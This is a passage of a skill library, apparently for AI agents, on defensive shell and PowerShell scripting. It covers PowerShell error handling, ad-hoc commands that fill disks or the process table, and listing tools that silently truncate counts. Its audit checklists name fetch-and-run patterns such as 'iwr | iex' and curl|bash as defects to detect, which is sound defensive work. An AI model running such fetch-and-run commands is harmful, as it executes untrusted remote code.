      with `Invoke-Formatter` as the `shfmt` analogue.
      
      - Run it over the whole tree, fail the build on `Error` **and** `Warning` — the argument in
        `rules/03` §7 for not dismissing `style` applies unchanged: the low-severity rules are where
        the quoting and scoping defects are.
      - Suppressions carry a reason and an owner, like every other ignore in this library
        (`sota-devsecops` rules/03 §3.6).
      - **Watch the analyser fail once before trusting a green run** — `sota-code-security`
        rules/11 §7. A misconfigured `-Path` that matches no `.ps1` reports zero findings and
        exits 0, which is the empty-denominator signature this repo gates on.
      
      ## Audit checklist
      
      - [ ] Does every `.ps1` that runs in CI, deploy or an entrypoint set `$ErrorActionPreference`
            explicitly rather than inheriting `Continue`?
      - [ ] Where native commands are called, is `$PSNativeCommandUseErrorActionPreference` set to
            `$true` — or is each call's `$LASTEXITCODE` checked on its own line? (Default `$false`
            makes an `ErrorActionPreference = 'Stop'` script silently tolerate a failed `git`.)
      - [ ] Is `Set-StrictMode -Version Latest` set, so a typo'd variable is an error and not `$null`?
      - [ ] Does any `catch` guard a cmdlet that was never made terminating (no `-ErrorAction Stop`,
            no `Stop` preference)?
      - [ ] Does a wrapper function signal failure only through `Write-Error`, which does not set
            `$?` for its caller?
      - [ ] Is `$?` read anywhere other than immediately after the command it describes?
      - [ ] Is `$LASTEXITCODE` read where no native command has necessarily run, so it is stale or
            unset?
      - [ ] Under `pwsh -Command`, does the script end with a convenience call (logging, cleanup)
            whose `$?` becomes the process exit code?
      - [ ] Does any GitHub Actions step use a **custom** `shell:` string for PowerShell, dropping
            the built-in prepend/append — and if so, does it exit explicitly?
      - [ ] Any `Invoke-Expression`, `iex`, `[scriptblock]::Create()` or `iwr | iex` reachable from
            untrusted input?
      - [ ] Is `-Path` used with externally supplied values where `-LiteralPath` is meant?
      - [ ] Are command lines built by string concatenation rather than splatting?
      - [ ] Is an execution policy cited anywhere as a security control?
      - [ ] Is the target dialect stated (7.x vs Windows PowerShell 5.1), and is each pinned version
            recorded with its end-of-support date?
      - [ ] Does CI run PSScriptAnalyzer over the whole tree, gate on Warning and above, and has the
            gate been watched producing a finding rather than only a clean run?
      
    • 08-ad-hoc-side-effects.md 8.6 KB
      # 08 — Ad-hoc commands: when the check itself does damage
      
      Scope: the sibling of `rules/06`. That file is about a verification command returning the
      **wrong answer**; this one is about a verification command with **side effects** — it
      destroys what it was inspecting, or exhausts a resource nobody budgets. Split out of
      `rules/06` at v1.42.2 when that file reached its 500-line cap; §3 and §4 keep their
      numbers so every existing citation still names the right section. `rules/06` §2's
      discipline — state the traversal, print the denominator, control the sweep — is assumed.
      
      **The unifying property:** "I am only checking something" bounds nothing. A read-only
      *intent* is not a read-only *command*, and the blast radius of a probe is whatever the
      probe actually invokes.
      
      ## 3. An ad-hoc command can destroy the thing it was checking
      
      The failure modes above are about *wrong answers*. A verification command can also do
      **damage**, and nothing about "I am only checking something" bounds its blast radius.
      Field-reported: a command whose entire purpose was to check a claim copied a 40 GB build
      directory into a container on a host already at 99% full, which corrupted the container
      runtime's storage and cost ~64 GB of images. The check was never run.
      
      Before an ad-hoc command that **writes at scale** — a container copy or build, an image
      export, a bulk archive, a recursive `cp`/`rsync`, anything with `--output` on a big tree:
      
      - **Look at headroom first** (`df -h` on the target filesystem, and on the runtime's own
        storage, which is often a different one). A verification step is not exempt from capacity
        planning; it is just unbudgeted.
      - **Prefer read-only**: mount the source `:ro`, and send output **outside the source tree**
        to a path you chose. A check that cannot write to its subject cannot corrupt it.
      - **Bound it before running it** — `du -sh` the thing you are about to copy. "It is only the
        repo" is a guess about size, and the number is one command away.
      - **Build output is the trap, and it is never in your mental model of the repo.** `target/`,
        `node_modules/`, `.venv/`, `vendor/`, `build/` and `dist/` reach tens of gigabytes and are
        exactly what a naive recursive copy takes. Exclude them, or better, do not copy: point the
        tool's output elsewhere (`CARGO_TARGET_DIR=/build`, `--target-dir`, `-o`) and leave the
        source read-only.
      - **A full disk is not a clean failure.** On a VM-backed container runtime the guest's disk is
        a sparse file on the host's, so exhausting the host surfaces *inside* the VM as I/O errors
        and can corrupt the filesystem and image store — minutes later, in an unrelated command,
        long after the one that caused it.
      - Cleanup on a shared runtime is not housekeeping: see `sota-devsecops` rules/07 §7.7.
      
      ## 4. The loop you left running exhausts the process table — and takes cleanup with it
      
      §3 is about a command that writes too much. This is the same idea aimed at a resource
      nobody budgets: **processes**. It is the more dangerous of the two, because running out
      of disk still lets you run `rm`, and running out of processes does not let you run
      anything at all.
      
      **The shape.** A wait loop, backgrounded, with no bound on its iterations:
      
      ```bash
      # WRONG — nothing here ever stops, and each tick spawns
      while ! pgrep -f "run-eval.py" >/dev/null; do sleep 60; done &
      ```
      
      Every iteration forks (`pgrep`, `grep`, `ps`, the subshells in a `$(…)`), and a
      backgrounded loop outlives the command that started it — often the whole session. `rules/06` §1's
      `pgrep -f` self-match is what makes it never stop: the loop's own argv contains the
      pattern, so it matches itself forever. `rules/06` §1 frames that cost as *a burned timeout*. The
      larger cost is that it never stops **spawning**.
      
      **How big it gets, measured — and read the attribution note.** At failure on the machine
      below, `ps -A | wc -l` read **11,463** against a `kern.maxprocperuid` of **11,136**: the
      per-user table was full, with **≈10,700 `/bin/sh`** in it.
      
      **Correction (2026-09-10): those figures are the *signature*, not evidence for this
      section's cause.** When this section was first written the numbers were attributed to
      backgrounded wait loops, which had indeed been running that hour — but parentage had not
      been checked, and the section said so. It was checked afterwards, and the `/bin/sh`
      processes belonged to a **self-recursive `PATH` shim** (`rules/03` §3a); deleting one file
      took the count to **691**. The tell was in the evidence all along: a `zsh` wait loop spawns
      `zsh`, `sleep` and `pgrep` — never **10,700 `/bin/sh`**.
      
      **Two unrelated causes produce this identical signature** — an unbounded backgrounded loop
      (this section) and a wrapper that shadows a command it calls (`rules/03` §3a) — and **only a
      parentage check distinguishes them**: `ps -axo pid=,ppid=,command=`, grouped by ppid.
      Sequential PIDs with one child each is a recursion; many children under one parent is a pool
      or a loop. Fixing the wrong one leaves the machine exactly as exposed, so **do not pick
      between them from whichever you happen to have been doing that hour.**
      
      The mechanism and the remedies below are unchanged and independently sound: an unbounded
      backgrounded wait *is* a real way to fill the process table, whether or not it was this
      incident's cause.
      
      **Recognise the signature, because it is not the one you expect:**
      
      - It does **not** degrade gradually. It hits a ceiling and *every* tool fails at once.
      - The error is `fork failed: resource temporarily unavailable`, and it appears in the
        agent's shell and the operator's interactive shell **simultaneously** — which reads
        like the machine broke, not like a script did something.
      - **The cleanup tools are inside the blast radius.** `ps -o ppid`, `killall`, `pkill`,
        even `echo` in a fresh shell, all need to fork. So does the diagnosis: you cannot
        learn which process leaked because listing parents requires a process.
      - `kill` being a **shell builtin does not rescue you** if each command runs in a newly
        spawned shell — that spawn is the thing failing, before any builtin executes.
      - What is left is a GUI process manager (already running, kills internally) or a
        reboot. Plan for that before you background anything.
      
      **So:**
      
      - **Do not poll work that something else already reports.** Where a harness, CI or job
        runner notifies on completion, waiting for that notification costs nothing; a polling
        loop costs a process per tick and buys the same answer later.
      - **Never background an unbounded wait.** Before writing any repeating loop, ask what
        makes it *stop* — and if the answer is a `pgrep` on a pattern the loop's own argv
        contains, the answer is **nothing** (`rules/06` §1).
      - **Bound the iterations, not just the sleep**: `for i in $(seq 1 60)`, never a bare
        `while true` / `until`. A loop that gives up is a loop that cannot leak forever.
      - **Keep it in the foreground** so it dies with the command that started it, and **watch
        an artifact rather than a process** — `until grep -q DONE run.log` forks less and
        cannot match itself.
      - **Check headroom for the resource you are about to spend**, exactly as §3 asks for
        `df -h`: `ps -A | wc -l` against `sysctl -n kern.maxprocperuid` (macOS) or `ulimit -u`.
        A loop that ticks every 60s for a day is 1,440 spawns *if each one exits* — and a
        leaked-process count that climbs while you watch it is the cheapest early warning
        there is, because at the ceiling you can no longer run the command that would tell you.
      
      Blast radius is not only disk (§3). It is whatever finite resource the command consumes
      without anyone counting — and the process table is the one whose exhaustion disables the
      tools you would use to recover.
      
      ## Audit checklist
      
      - [ ] **Ad-hoc commands that write at scale** (§3): headroom checked (`df -h` on the target
            *and* the runtime's own filesystem), source mounted read-only, output outside the source
            tree, size bounded with `du -sh` before the copy, and build output (`target/`,
            `node_modules/`, `.venv/`, `vendor/`) excluded or redirected rather than copied.
      - [ ] **Backgrounded wait loops** (§4): does any `&`-ed loop lack a bound on its
            iterations, and does anything make it stop other than a `pgrep` that matches the
            loop's own argv? Grep for the shape — `grep -nE '(while|until).*(true|pgrep|ps ).*&\s*$'`
            — and for polling of work a harness already reports. Headroom for the resource
            being spent is checked (`ps -A | wc -l` vs `ulimit -u`), not just `df -h`. If the
            table is already full, **establish parentage before assigning blame** — a
            self-recursive wrapper (`rules/03` §3a) produces the same signature, and only
            `ps -axo pid=,ppid=,command=` tells the two apart.
      
    • 09-listing-and-selection.md 7.6 KB
      # 09 — Listing and selection: the tool answered a different question
      
      Scope: the commands that *enumerate* rather than search — a lister, a selector, a
      "which one is latest". `rules/06` §2 is a searcher that traverses less than you think;
      these are tools that return less than you think, or all of a population one step to the
      left of the one you asked about. Both exit `0` with an empty stderr, which is why they
      reach a report as measurements. Split out of `rules/06` (· v1.43.1) when that file
      reached its 500-line cap, **keeping their section numbers** so existing citations resolve
      — the same move `rules/08` made before it.
      
      ## 5. The listing tool answered your question about *one page*
      
      `rules/06` §2 is a searcher that traverses less than you think. This is a lister that returns
      than you think — and it is worse, because the shortfall is **policy, not a bug**: the tool
      did exactly what it was asked, exited `0`, and wrote nothing to stderr.
      
      Measured 2026-09-10 against a repository with 330 merged pull requests:
      
      ```text
      gh pr list --state merged --json number | wc -l        →   30    ← no flag: a DEFAULT cap
      gh pr list --state merged --limit 20 ...               →   20    ← the cap you typed
      gh pr list --state merged --limit 1000 ...             →  330    ← the population
      exit status 0, stderr empty, in all three
      ```
      
      The no-flag answer is off by an order of magnitude. Nothing in the output distinguishes
      "there are 30" from "here are the first 30 of 330", and `wc -l` turns either into a number
      that looks like a measurement. The same default sits under `gh issue list`, `gh run list`,
      `aws ... --max-items`, `kubectl get --chunk-size`, `docker ps -n`, and every REST `GET`
      that pages at 30 or 100 — **a client library that iterates pages for you is the exception,
      not the rule, and `curl` never does.**
      
      Two distinct ways to get this wrong, and the second is the one that repeats:
      
      - **The cap you never set.** You reach for a lister to *look* at recent items, the default
        page is the right size for looking, and later the same command gets used to *count*.
      - **The cap you set yourself, for a different question.** `--limit 20` was correct when the
        question was "show me the recent ones". It silently became the answer when the question
        changed to "how many are there" — the flag is still in the scrollback, and the number it
        produced looks like a finding. Read the flags in your own command before quoting its
        output as a total.
      
      **A count and a sample need different commands.** When the number is the deliverable, ask
      the API for the number rather than for the rows, or make the tool prove it reached the end:
      
      ```bash
      # GOOD — the server counts; no page size can shorten a total
      gh api -X GET search/issues --raw-field q='repo:OWNER/REPO is:pr is:merged' -q .total_count
      
      # GOOD — page until short, and say so; --paginate exists precisely for this.
      # NOTE the predicate: `state=closed` is merged AND closed-unmerged. Filter, don't assume.
      gh api --paginate '/repos/OWNER/REPO/pulls?state=closed&per_page=100' \
        -q '.[] | select(.merged_at != null) | .number' | wc -l
      
      # CONTROL — a cap you can see: if the count equals the limit exactly, assume truncation
      n=$(gh pr list --state merged --limit 100 --json number -q '.[].number' | wc -l)
      [ "$n" -eq 100 ] && echo "AT THE CAP — this is a page, not a total" >&2
      ```
      
      **Then check the two methods against each other — and read the disagreement.** Writing
      this section, the server count said **330** and the paginated read said **339**. The
      pagination was right; the *predicate* was wrong — `state=closed` includes the 9 PRs that
      were closed without merging, so the fixed command had quietly started answering a different
      question than the one it replaced. A second method exists to have a **different failure
      mode** (`sota-code-security` rules/11 §7), and the whole return on that is the moment the
      two numbers differ. Had they agreed, nothing would have been learned; had I run only the
      fixed one, `339` would have shipped as the merged total. Reconcile the gap to a named cause
      (`330 + 9 unmerged = 339`) before reporting either number — an unexplained delta between two
      methods is a finding, not a rounding difference.
      
      That last line generalises past `gh`: **a result whose size equals a round number you or the
      tool chose is a page until proven otherwise.** 30, 50, 100, 1000. It costs one comparison
      and it is the only signal the tool gives you, because it does not give one.
      
      The reporting rule follows `rules/06` §2's: **say which bound produced the number.** "330 merged PRs
      (`--limit 1000`, no truncation — the run returned fewer rows than the cap)" is a
      measurement. "330 PRs" is a claim whose evidence has been thrown away, and "30" was too.
      
      ## 5a. The selector picked a different member than the question named
      
      §5 returned **less** of the right population. This returns **all** of a neighbouring one —
      harder to see: nothing truncated, nothing silent, no rule broken. The selector was reasonable
      and answered a question one step to the left of the one asked. Three in one session:
      
      | the question | the selector typed | what it actually returns |
      |---|---|---|
      | "the kernel this release ships" | `sort -V \| tail -1` over the repo | the newest available — here a **backports** kernel, 6.12 for a 6.1 release |
      | "how much disk will this free" | `du -sh target` / the tool's own summary | apparent size / logical bytes deleted — **not** blocks returned to the filesystem |
      | "how much is reclaimable" | `podman system df` | images not backing a *running* container, with shared layers double-counted down the ancestry chain |
      
      `sort -V | tail -1` is the obvious way to get "the latest" and it is simply not "the
      default". Each of the three is the correct answer to a question nobody asked.
      
      - **Name the population member before writing the selector.** *Newest, largest, first,
        default, reclaimable, installed* are six members and at most one is your question.
      - **The tell is a value that cannot belong to the thing you asked about.** The Debian probe
        returned a `CONFIG_LSM` string containing `ipe` — IPE merged in **Linux 6.12** (verified:
        `security/ipe/ipe.c` present at tag `v6.12`, absent at `v6.11`), so it cannot appear in a
        6.1 config. The row was refuted by its own output before it was written. Read one full
        record from any selection before building an argument on the aggregate.
      - **Three numbers that disagree are three questions, not a discrepancy to average.** None of
        `du`, the tool's report and `df` is wrong; ask which the decision needs. General form:
        `sota-observability` rules/05 §7a.
      
      ## Audit checklist
      
      - [ ] **Does the selector name the population member the question does?** (§5a) — *newest*
            is not *default* (`sort -V | tail -1` returns a backports kernel), *apparent size* is
            not *blocks freed*, *not backing a running container* is not *reclaimable*. Nothing is
            truncated and the exit status is 0, so the only tell is a value that cannot belong to
            the subject; read one full record before trusting the aggregate.
      - [ ] **Counts taken from a listing tool** (§5): does the command carry a `--limit`/
            `per_page`/`--max-items`, or rely on the tool's **default** page (30 for `gh`, 100 for
            most REST)? A total must come from a server-side count (`total_count`) or a paginated
            read (`gh api --paginate`), never from the first page. Treat a result whose size equals
            the cap exactly as truncated, and quote the bound alongside the number. Where a second
            method was run, is the delta between the two reconciled to a named cause — or was the
            un-truncated command also given a **different predicate** (`state=closed` vs merged)?
      
  • SKILL.md 12.1 KB
    ---
    name: sota-shell-scripting
    description: >-
      State-of-the-art shell scripting (bash and PowerShell, defensive) for writing and auditing shell scripts, CI scripts, init/deploy scripts, container entrypoints, and Makefile recipes — and equally for the ad-hoc commands you run yourself: a grep/find/rg sweep whose result you are about to report, a one-liner pasted from a checklist, a pipeline whose exit status or empty output you are about to believe. Use when creating, modifying, reviewing or hardening shell code, AND before trusting any conclusion a shell command produced — especially an ABSENCE ("no matches", "0 results"), which a quoting bug produces identically. Trigger keywords: bash, shell script, sh, zsh, shellcheck, shfmt, CI script, Makefile shell, entrypoint script, set -euo pipefail, dotfiles, install script, cron job, wrapper script, one-liner, command line, grep sweep, search the codebase, verify a claim, no matches found, empty output, exit status, word splitting, glob, PowerShell, pwsh, .ps1, Windows CI, ErrorActionPreference.
    ---
    
    # SOTA Shell Scripting
    
    Purpose: produce shell scripts that survive contact with reality — unusual filenames, missing
    commands, partial failures, hostile input, signals, and concurrent invocation — and audit
    existing scripts for the defect classes that cause most production shell incidents:
    unquoted expansions, silent error swallowing, injection, secret leakage, and temp-file races.
    
    Bash-focused (bash 5.x current; macOS ships bash 3.2 and defaults to zsh — see portability
    rules). POSIX `sh` only when the target demands it (busybox/dash containers, init systems).
    
    ## First decision: should this be shell at all?
    
    **Do NOT use shell when any of these hold.** Recommend Python/Go (or the project's primary
    language) instead, and say so explicitly in BUILD and AUDIT output:
    
    - Script exceeds ~100 lines of actual logic (not counting boilerplate/usage text).
    - Needs real data structures (nested maps, JSON manipulation beyond a `jq` one-liner, sets).
    - Needs granular error handling (retry *this* step, distinguish error kinds, partial rollback).
    - Does arithmetic beyond integers, date math, or float comparison.
    - Parses structured formats (JSON/YAML/XML) with string surgery instead of `jq`/`yq`.
    - Needs portable concurrency beyond "run N jobs and `wait`".
    - Is security-critical input handling (auth, parsing untrusted network data).
    
    Shell is the right tool for: gluing processes together, CI steps, container entrypoints,
    small install/deploy wrappers, environment setup — anything that is mostly *invoking other
    programs* rather than computing.
    
    ## BUILD mode
    
    When writing or modifying shell scripts:
    
    1. **Pick the dialect deliberately.** `#!/usr/bin/env bash` unless the target is a minimal
       container/init context that only guarantees POSIX `sh`. Never `#!/bin/sh` with bashisms.
    2. **Start every bash script from the safety preamble** (rules/01): `set -euo pipefail`,
       trap-based cleanup, `IFS` discipline — and know where `set -e` does NOT fire.
    3. **Quote every expansion.** `"$var"`, `"$@"`, `"$(cmd)"`. Build commands with arrays,
       never with string concatenation.
    4. **Errors are loud and routed to stderr** with script name + context; exit codes are
       meaningful and documented in `--help`.
    5. **Make it idempotent and interrupt-safe**: `mktemp` + `trap` cleanup, atomic writes via
       `mv`, check-before-create, `flock` if concurrent runs are possible.
    6. **Run `shellcheck` (treat all findings as blockers, suppress only with a justifying
       comment) and `shfmt -d` before declaring done.** If they are unavailable locally, state
       that and flag CI must run them.
    7. Provide `--help` always; `--version` for distributed tools; `set -x` behind a
       `DEBUG`/`TRACE` env guard, never unconditionally (secret leakage).
    
    ## AUDIT mode
    
    When reviewing existing shell scripts, hunt the defect classes in rules/ files bottom-up
    (each rules file ends with an audit checklist of grep patterns and ShellCheck codes).
    Run `shellcheck -S style` on every script if available; correlate findings with context —
    ShellCheck flags symptoms, you judge exploitability and blast radius.
    
    Severity conventions:
    
    | Severity | Meaning | Examples |
    |---|---|---|
    | CRITICAL | Exploitable or data-destroying now | `eval` on untrusted input; unquoted var in `rm -rf`; secrets in argv/`set -x`; curl\|bash of unpinned URL in prod |
    | HIGH | Will corrupt/fail on realistic input or failure | unquoted expansions in destructive paths; missing `set -e`/error checks around critical steps; predictable temp files; non-atomic config writes; missing `exec` in entrypoint (signals lost) |
    | MEDIUM | Latent bug or fragility | parsing `ls`; `which` instead of `command -v`; missing `pipefail`; no `--` separators; no timeouts on network calls; `echo` for variable data |
    | LOW | Style/maintainability with safety implications | missing `local`; `[ ]` where `[[ ]]` intended; missing `readonly`; inconsistent error messages |
    
    Finding format:
    
    ```
    [SEVERITY] file:line — short title (SCxxxx if applicable)
      Evidence: the offending line(s), verbatim
      Impact: what input/condition triggers it and what breaks
      Fix: concrete replacement code
      Effort: trivial | small | medium | large
    ```
    
    ## Rules index
    
    | File | Covers |
    |---|---|
    | [rules/01-safety-baseline.md](rules/01-safety-baseline.md) | Shebang discipline, `set -euo pipefail` and its real limitations, quoting & word-splitting bug catalog, **zsh-vs-bash deviations that bite pasted commands (joining, `pipestatus`, and `NOMATCH` — an unquoted glob in a flag value aborts the command and fakes a clean sweep)** |
    | [rules/07-powershell.md](rules/07-powershell.md) | **PowerShell has no `set -euo pipefail`, and the line everyone omits is the one that matters: `$PSNativeCommandUseErrorActionPreference` defaults to `$false`, so `$ErrorActionPreference = 'Stop'` silently tolerates a failed `git`/`docker`/`terraform` (§1)** · The same failure classes as bash with different mechanisms: three disagreeing status variables and a `$?` that does not climb out of a function, `pwsh -Command` letting the **last statement** decide a CI step's verdict, GitHub Actions' built-in shell being safe while a custom `shell:` string silently drops its fail-fast and exit propagation, `Invoke-Expression` as `eval`, execution policy as the control that is **not** a security boundary, and PSScriptAnalyzer where ShellCheck cannot reach |
    | [rules/06-ad-hoc-commands.md](rules/06-ad-hoc-commands.md) | **`rg -r` is `--replace`, not recursive — the `grep -r` symlink trap inverted, fabricating false CONTENT instead of a false absence (§2a)** · The commands nobody commits — a sweep, a probe, a one-liner from a checklist, a quick container copy: the zsh deviations that bite pasted commands (joining, `pipestatus`, `NOMATCH` faking a clean sweep), **what your searcher silently excludes** (`-r` vs symlinked dirs, ripgrep's gitignore defaults, a `grep` that is really a wrapper) and controlling a sweep in the same invocation, **a pattern beginning with `-` parsed as a flag** (clean zero, error on the stderr you suppressed, §2c), **`|| echo "missing X"` firing on *any* non-zero exit** so your broken sweep is reported as their defect (§2d), **a hardcoded label asserting the result the output above it contradicts** (§2e), and **a word-boundary escape that is a property of the machine rather than the tool** — `\b` silently matches nothing where `git grep` inherits a BSD regex (§2f) |
    | [rules/09-listing-and-selection.md](rules/09-listing-and-selection.md) | **A lister's default cap answers with exit 0 and an empty stderr, so a page reads as a population (§5)** · The tools that *enumerate* rather than search: `gh pr list` returning 30 of 330 with no flag and no warning, the `--limit` you set for a different question and then counted with, server-side counts and `--paginate` as the fix, reconciling two methods that disagree to a named cause — and **the selector that picked a neighbouring population** (§5a): *newest* is not *default*, apparent size is not blocks freed, and the only tell is a value that cannot belong to the thing you asked about |
    | [rules/08-ad-hoc-side-effects.md](rules/08-ad-hoc-side-effects.md) | **"I am only checking something" bounds nothing — a read-only *intent* is not a read-only *command*** · The sibling of rules/06: that file is a check returning the wrong answer, this one is a check with **side effects**. An ad-hoc command that fills a disk or corrupts the runtime it was inspecting (§3), and a backgrounded wait loop that exhausts the **process table** (§4) — which does not degrade, it hits a ceiling where every tool fails at once, *including cleanup*, since `ps`, `killall` and even `echo` in a fresh shell all need to fork |
    | [rules/05-constructs-and-cleanup.md](rules/05-constructs-and-cleanup.md) | **Sourcing a script to test one function relocates it — `BASH_SOURCE` points at the copy and the script `cd`s itself away, silently (§3a)** · The constructs a script is assembled from, once the expansion itself is right: arrays for command building (SC2089/2090), IFS scoping, `trap`-based cleanup and `mktemp` (predictable temp paths are a race, not a style point), `[[ ]]`/printf/`local`/`readonly`, and globbing pitfalls including never parsing `ls` |
    | [rules/02-robustness-correctness.md](rules/02-robustness-correctness.md) | Argument parsing (getopts/while-case, --help/--version), input validation, POSIX vs bash portability, stderr/exit-code discipline, PIPESTATUS, command -v, network timeouts & retries, flock & background jobs, idempotency & atomic writes, safe filename handling |
    | [rules/03-security.md](rules/03-security.md) | **Why `--severity=style` catches real defects, and a pointer to who owns local gate reproduction (§7)** · eval/injection, secrets discipline (argv/env/set -x), PATH hygiene — including **the non-adversarial mirror: a wrapper, shim, alias or function override that invokes a name its own namespace shadows**, which fills the process table with no bound at all while the function form merely segfaults — sudo discipline, curl\|bash both directions, temp-file races, umask, ShellCheck+shfmt in CI |
    | [rules/04-ci-and-operational.md](rules/04-ci-and-operational.md) | **Killing a backgrounded build by pid orphans the compiler, and the next run's contention reads as a defect in your change** · GitHub Actions shell pitfalls (`${{ }}` injection, multiline run, quoting in YAML), container entrypoints (exec, PID 1, privilege drop), Makefile shell gotchas, long-running script logging |
    
    ## Top 10 non-negotiables
    
    1. `#!/usr/bin/env bash` + `set -euo pipefail` on every bash script — and explicit error
       handling where `-e` is known not to fire (conditions, `&&`/`||`, command substitution
       in assignments-with-modifiers, process substitution).
    2. Quote **every** expansion: `"$var"`, `"$@"`, `"${arr[@]}"`, `"$(cmd)"`. SC2086 is a
       bug, not style.
    3. Build argument lists with arrays; pass them as `"${args[@]}"`. Never accumulate a
       command in a string and `eval`/word-split it.
    4. `trap cleanup EXIT` with an idempotent cleanup function; temp paths only via `mktemp`.
    5. Never `eval`, `bash -c`, or `sh -c` with interpolated untrusted data; use `--` before
       positional file/user arguments to every command that supports it.
    6. No secrets in argv, in environment dumps, or under `set -x`; `set +x` around sensitive
       sections; read secrets from files or fds.
    7. Errors to stderr with context (`script: failed to X: $detail`); meaningful exit codes;
       never `exit 0` on failure paths.
    8. Network calls get `--fail`, `--max-time`/timeouts, and bounded retries — never bare
       `curl url | ...`.
    9. Handle arbitrary filenames: `find -print0 | xargs -0` / `-exec ... +`, `while IFS= read -r`,
       never iterate `$(ls)` or unquoted globs from variables.
    10. ShellCheck (clean, or annotated suppressions) + shfmt enforced in CI; a shell script
        without CI linting is unreviewed code.
    
    ## Cross-references
    
    - CI pipeline hardening, `${{ }}` injection, action pinning → `sota-devsecops`
    - Secret storage/rotation → `sota-secrets-management`
    - Container image/runtime hardening → `sota-sandboxing`, `sota-cloud-infrastructure`
    - When the "don't use shell" rule fires → `sota-python` / `sota-golang`
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related